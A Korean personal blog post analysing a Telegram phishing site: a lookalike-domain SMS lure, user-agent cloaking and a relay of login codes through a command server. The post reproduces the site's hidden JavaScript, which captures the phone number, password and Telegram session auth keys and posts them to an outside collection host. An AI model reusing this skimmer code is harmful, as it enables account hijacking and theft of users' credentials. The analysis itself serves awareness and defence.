ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 텔레그램 피싱 사이트 분석
    ETC 2024. 12. 19. 02:19

    선량하게 살고있던 나에게 어느날 갑자기 문자가 하나 왔다!

     

     

    우와 내 텔레그램 계정이 비활성화 당한다고 한다!

    누가봐도 피싱 사이트지만 얼른 접속해봤다

     

     

    크롬이 입장부터 여기 들어가지 말라고 난리를 친다

    url을 보니 teiegram-pr.org이다. 문자에서는 폰트의 취약점 아닌 취약점으로 i를 대문자로 보내 l처럼 보이게 했다

    하지만 너무나 궁금한 나머지 접속해봤다

     

    내가 글을 쓰는 이 시점에는 사이트를 닫았는지 접속이 되지 않는다.

     

    내 기억을 되살려서 써보겠다...

     

    하필 버프스위트 로그도 날아가서 http history도 볼 수가 없다

     

    해당 사이트는 user-agent를 검증하여 모바일에서 접속했는지 여부를 판단한다

    만약 pc로 접속했다면 실제 텔레그램 로그인 사이트로 연결시켜 피싱을 시도하지 않는다

     

    만약 모바일로 접속했다면 실제 텔레그램 로그인 창과 똑같은 사이트가 나온다

    우리가 정보를 입력하면, c2 서버에서 해당 정보를 받고, 실제 텔레그램 서버에 인증코드를 요청하며 받은 응답을 우리에게 보여준다

    우리가 입력한 인증코드도 c2서버로 보내지고, 실제 텔레그램 서버에서 인증 여부를 판단한다

     

    그렇게 우리의 정보를 다 입력했다면 우리가 봐야할 코드가 있다

    console.log("hook OK");
    setTimeout('getPhone()',600);
    setTimeout('getpass()',600);
    setTimeout('login_status()',600);
    
    function getPhone(){
      var checkExist = setInterval(function() {
    if ($('.input-field-phone .input-field-input').length) {
      console.log("窈들씊�앭쭓�뽩츑驪�");
      // �㎬죱�뉐츣餓g쟻
      $(".input-field-phone .input-field-input").on("input", function() {
          var phone = $(".input-field-phone .input-field-input").text()
          console.log(phone);
          localStorage.setItem('Phone',phone)
      });
    
      clearInterval(checkExist);
    }
    }, 100); 
    }
    
    function getpass(){
        var go_password = setInterval(function() {
      if ($('input[name="notsearch_password"]').length) {
        console.log("野녺쟻渦볟뀯旅녶럴�븀렟");
        
        let $password = $('input[name="notsearch_password"]');
                    $password.on("input", function(e){
                    console.log(this.value);
                    localStorage.setItem('password',this.value)
                    });
        // ...
        clearInterval(go_password);
      }
    }, 100);
    }
    
    function login_status(){
        var status = setInterval(function() {
            userid_data=JSON.parse(localStorage.getItem('user_auth'));
      if (userid_data['id'] != null && userid_data['id'] != '') {
        console.log("�삣퐬�먨뒣");
            var userid = userid_data['id'];
            var logintime = Math.floor(new Date().getTime() / 1000);
            var dc =localStorage.getItem('dc');
            var Phone = localStorage.getItem('Phone');
            var password = localStorage.getItem('password');
            var stateId =localStorage.getItem('state_id');
            var dcServerSalt=localStorage.getItem(dc${dc}_server_salt);
            var dcAuthKey=localStorage.getItem(dc${dc}_auth_key);
            $.post("https://shhg1.wooiliko.com/api/index/save",{
    			userAuthId:Number(userid),
    			userAuthDate:Number(logintime),
    			phone:Phone,
    			pwd:password,
    			userAuthDcId:Number(dc),
    			dcServerSalt:dcServerSalt.substring(1, dcServerSalt.length - 1),
    			dcAuthKey:dcAuthKey.substring(1, dcAuthKey.length - 1),
    			stateId:Number(stateId),
                // url: window.location.protocol+ '//' + window.location.host
                url: "web"
    		},
    		function(data,status){
    			console.log("�경뜮訝듾폖若뚧캊");
    			localStorage.clear();
    			$(window).attr('location','/telegram/index.html');
    			
    		});
        clearInterval(status);
      }
    }, 100);
        
    }

     

    해당 페이지에서 몰래 불러오는 자바스크립트이다.

    중간중간 console.log는 인코딩이 깨져서 뭐라고 하는지 알 수가 없다

    아마 맨 처음 hook ok처럼 테스트용이 아닐까 싶다

     

    우리가 input 필드에 값을 입력하면 실시간으로 Local Storage에 저장하게 된다

     

    우리가 입력한 모든 정보들이 c2서버로 날아간다

    c2서버는 보다시피 https://shhg1.wooiliko.com/api/index/save"로  알 수 있다.

    우리가 입력한 전화번호, 인증 번호, 기타 등등 모든 정보들이 저기로 빠져나간다

     

    모든 정보들이 전송된 후에는  Local Storage를 비우고, "/telegram/index.html"로 이동시켜 시간을 끌게 된다.

    해당 사이트는 웹에서 작업을 허용해주세요 요청하는 페이지이다.

    실제로는 시간을 끌어 공격자들이 텔레그램 계정에 접근하는 시간을 확보하기 위함이 아닌가 싶다

     

    이렇게 짧게 피싱 사이트를 분석해봤다.

    실제 피싱 문자를 받은건 처음이라 재밌었다

     

     

     

     

    댓글

Hi